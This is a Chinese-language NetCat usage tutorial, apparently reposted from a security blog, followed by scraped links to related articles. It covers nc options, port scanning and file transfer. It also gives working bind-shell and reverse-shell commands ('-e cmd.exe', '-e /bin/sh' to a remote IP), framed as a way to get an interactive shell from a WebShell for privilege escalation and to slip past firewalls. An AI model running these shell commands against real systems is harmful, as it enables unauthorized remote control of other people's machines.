NetCat使用手册
简介: 在网络工具中有“瑞士军刀”美誉的NetCat(以下简称nc),在我们用了N年了至今仍是爱不释手。因为它短小精悍(这个用在它身上很适合,现在有人已经将其修改成大约10K左右,而且功能不减少)。
参数格式 连接到某处: nc [-options] hostname port[s] [ports] … 监听端口等待连接: nc -l -p port [-options] [hostname] [port] 主要参数:
options: -d 无命令行界面,使用后台模式 -e prog 程序重定向 [危险!!] -g gateway 源路由跳跃点, 不超过8 -G num 源路由指示器: 4, 8, 12, ... -h 获取帮助信息 -i secs 延时设置,端口扫描时使用 -l 监听入站信息 -L 监听知道NetCat被结束(可断开重连) -n 以数字形式表示的IP地址 -o file 使进制记录 -p port 打开本地端口 -r 随机本地和远程的端口 -s addr 本地源地址 -t 以TELNET的形式应答入站请求 -u UDP 模式 -v 显示详细信息 [使用=vv获取更详细的信息] -w secs 连接超时设置 -z I/O 模式 [扫描时使用] 端口号可以是单个的或者存在一个范围: m-n [包含值]。
主要用途 一般我们使用netcat做的最多的事情为以下三种: 1、 扫描指定IP端口情况 2、 端口转发数据(重点) 3、提交自定义数据包
1、扫描常用命令。 以下IP 处可以使用域名,nc会调用NDS解析成IP地址。
【命令】nc -v ip port 【例如】nc -v 96.44.174.9 80 【解释】扫瞄某 IP 的某个端口,返回端口信息详细输出。
【命令】nc -v -z ip port-port 【例如】nc -v -z 96.44.174.9 80-1024 【解释】扫描某IP的端口段,返回端口信息详细输出,但扫描速度很慢。
【命令】nc -v -z -u ip port-port 【例如】nc -v -z -u 96.44.174.9 25-1024 【解释】扫描某 IP 的某 UDP 端口段,返回端口信息详细输出,但扫描速度很慢。
【命令】nc -nvv -w2 -z ip port-port 【例如】nc -nvv -w2 -z 96.44.174.9 80-1024 【解释】扫锚某IP的端口段,连接超时时间为2秒。 实例:

总结:使用nc扫描速度真的不敢恭维,而且对于扫描主机存活、端口等还是交给更专业的nmap来进行,物尽其用才是硬道理,这里全当科普。
2、监听端口、连接端口、转发端口常用命令。
【命令】nc -l -p 520
【解释】开启本机的 TCP 520 端口并监听次端口的上传输的数据。
【命令】nc -l -v -p 520
【解释】开启本机的 TCP 520 端口并将监听到的信息输出到当前 CMD 窗口。这个命令也是端口转发shell的基础。
【命令】nc -l -p 520 > C:/log.dat
【解释】开启本机的 TCP 520 端口并将监听到的信息输出到 C:/log.dat 下的日志文件里。
【命令】nc -nvv 192.168.1.101 520
【解释】连接到192.168.1.101主机的 520。
重点一(正向连接):
【远程运行】nc -l -p 2012 -t -e C:WINDOWSsystem32cmd.exe
【本地运行】nc -nvv 192.168.1.101 2012
【解释】采用正向连接方式,远程主机(注:假设IP地址为 192.168.1.101)上运行 nc -l -p 2012 -t -e
cmd.exe 意为绑定远程主机的 CMD 到2012 端口,当本地主机连接远程主机成功时就会返回给本地主机一个CMD Shell
;在本地主机上运行 nc -nvv 192.168.1.101 2012 用于连接已经将 CMD 重定向到 2012
端口的远程主机(注:假设IP地址为 192.168.1.101)。
重点二(反向连接):
【本地运行】nc -l –vv -p 2012
【远程运行】nc -t -e C:WINDOWSsystem32cmd.exe 192.168.1.102 2012
【解释】采用反向连接方式,先在本地主机(拥有公网IP)运行 nc -l –vv -p 2012 开启2012
端口并监听等待远程主机连接;在远程主机上运行 nc -t -e cmd.exe 192.168.1.102 2012 将远程主机的 CMD
重定向到 IP 地址为 192.168.1.102 端口号为2012 的主机上,连接成功后 IP 地址为 192.168.1.102
的主机会得到一个CMD Shell。

总结:这个情况是最常用的内网端口转发功能,这样反弹shell即可执行命令。反向连接就是常用的反弹shell到本地,因为由主机主动发送的情况本地防火墙等设备一般不会去拦截,而正向连接到远程主机的某端口常常被拦截。
实例:
(上面一个cmd是公网IP主机,下图为笔者本地主机,可以通过目录看到shell可执行命令)
4、提交数据、文件传输常用命令
【命令】nc -vv www.91ri.org port < C:/http.txt
【例如】nc -vv www.91ri.org 80 < C:/http.txt
【解释】提交http.txt内数据包到www.91ri.org的80端口,-vv参数会使速度变慢,但可以跟踪过程。例如IISput漏洞就可以自定义数据包使用此方法提交。
【命令1】nc -v -n ip port < C:/sunzn.exe
【命令2】nc -v -l -p port > D:/sunzn.exe
【解释】在本地运行 nc -v -n ip port < C:/sunzn.exe 意为从本地 C 盘根目录中读取
sunzn.exe 文件的内容,并把这些数据发送到远程主机的对应端口上(注:命令行中的 IP 为接收文件的远程主机 IP ),在远程主机运行
nc -v -l -p port > D:/sunzn.exe 意为监听对应端口并把接收到的信息数据写到 D:/sunzn.exe
中,两行命令实现了文件在本地主机和远程主机间的传输。
传输http数据包实例:

Linux环境下netcat使用
好东西肯定需要在不同的环境中都能使用,在linux环境中同样有着netcat可以使用。主要过程如下。
Linux提权绝大部分都靠的是Local
Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法
利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。
主要步骤:
1、wget一个tar压缩的nc
Wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
2、解压文件
tar zxvf netcat-0.7.1.tar.gz
3、解压完毕之后会生成目录
cd netcat-0.7.1
4、配置环境
./configure
5、配置完了之后就可以编译了。
Make
6、编译成功就生成了netcat可执行的文件了,位于src目录,cd进去进行运行./netcat文件就是我们的nc了。
远程Linux转发命令
./netcat 8.8.8.8 1234 -e /bin/sh
from:http://www.91ri.org/7761.html
NetCat使用手册的更多相关文章
- rsync的man手册(未完成)
本文是man rsync的官方手册译文,版本是3.1.2. 本文没打算翻译每个option,常用的option已经在另一篇文章rsync基础中有描述. 一开始的翻译过程比较顺畅,越到后面越难以理解,侧 ...
- 《Linux命令学习手册》系列分享专栏
<Linux命令学习手册>系列分享专栏 <Linux命令学习手册>已整理成PDF文档,点击可直接下载至本地查阅https://www.webfalse.com/read/207 ...
- 网络工具 NetCat
http://netcat.sourceforge.net/ windows 版本 https://joncraton.org/blog/46/netcat-for-windows/ https:// ...
- man 手册--nc
man 手册--nc NCAT(1) Ncat Reference Guide NCAT(1) NAME ncat - Concatenate and redirect sockets SYNOPSI ...
- VulnHub-[DC-8-9]-系列通关手册
DC8-通关手册 DC-8是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验. 这个挑战有点复杂,既是实际挑战,又是关于在Linux上安装和配置的两因素身份验证是否可以阻止Linux服务 ...
- FREERTOS 手册阅读笔记
郑重声明,版权所有! 转载需说明. FREERTOS堆栈大小的单位是word,不是byte. 根据处理器架构优化系统的任务优先级不能超过32,If the architecture optimized ...
- JS魔法堂:不完全国际化&本地化手册 之 理論篇
前言 最近加入到新项目组负责前端技术预研和选型,其中涉及到一个熟悉又陌生的需求--国际化&本地化.熟悉的是之前的项目也玩过,陌生的是之前的实现仅仅停留在"有"的阶段而已. ...
- 转职成为TypeScript程序员的参考手册
写在前面 作者并没有任何可以作为背书的履历来证明自己写作这份手册的分量. 其内容大都来自于TypeScript官方资料或者搜索引擎获得,期间掺杂少量作者的私见,并会标明. 大部分内容来自于http:/ ...
- Redis学习手册(目录)
为什么自己当初要选择Redis作为数据存储解决方案中的一员呢?现在能想到的原因主要有三.其一,Redis不仅性能高效,而且完全免费.其二,是基于C/C++开发的服务器,这里应该有一定的感情因素吧.最后 ...
随机推荐
- [Flex] PopUpButton系列——CornerRadius的运用
<?xml version="1.0" encoding="utf-8"?><!--设置主按钮圆角半径 PopUpButtonCornerRa ...
- [ActionScript3.0] 为内建类添加方法
通过使用prototype在继承内建类特性的同时加入新方法 Array.prototype.removeElement = function (item:*):void { var index:int ...
- JavaScript解耦记
有两个页面A.B.页面A调用页面B.B页面还通过异步加载方式包含一个javascipt(例如叫:ClassHeaderEvaluation.js)文件.问题场景:A页面通过异步请求方式请求B,并在B的 ...
- android依赖工程,子工程覆盖父工程的相同属性
当业务复杂,开始拆分工程后,就会遇到如下问题: 工程A为lib父工程, 工程B为子工程. 两个工程中均有资源文件(比如strings.xml),且资源文件中有相同的key, 那么值到底使用谁的? 实 ...
- SparkSQL On Yarn with Hive,操作和访问Hive表
转载自:http://lxw1234.com/archives/2015/08/466.htm 本文将介绍以yarn-cluster模式运行SparkSQL应用程序,访问和操作Hive中的表,这个和在 ...
- 【转】nginx配置location总结及rewrite规则写法
原文:http://seanlook.com/2015/05/17/nginx-location-rewrite/ 1. location正则写法 location = / { # 精确匹配 / ,主 ...
- FAQ: Automatic Statistics Collection (文档 ID 1233203.1)
In this Document Purpose Questions and Answers What kind of statistics do the Automated tasks ...
- html 去掉input 获取焦点时的边框
html中,当input标签获取焦点的时候(例如,当光标放在input框中准备输入值时), input标签外围会出现边框,有的时候我们需要去掉这个边框,可以使用css的outline:none;属性将 ...
- C# 位域[flags] 转
C# 位域[flags] .NET中的枚举我们一般有两种用法,一是表示唯一的元素序列,例如一周里的各天:还有就是用来表示多种复合的状态.这个时候一般需要为枚举加上[Flags]特性标记为位域,例如: ...
- 《Code Complete》ch.21 协同构建
WHAT? 所有的协同构建技术都试图通过这样那样的途径,将展示工作的过程正式化,以便将错误暴露出来 WHY? 提高缺陷检出率,从而缩短开发周期,降低开发成本 发现不明显的错误信息,如不恰当的注释.硬编 ...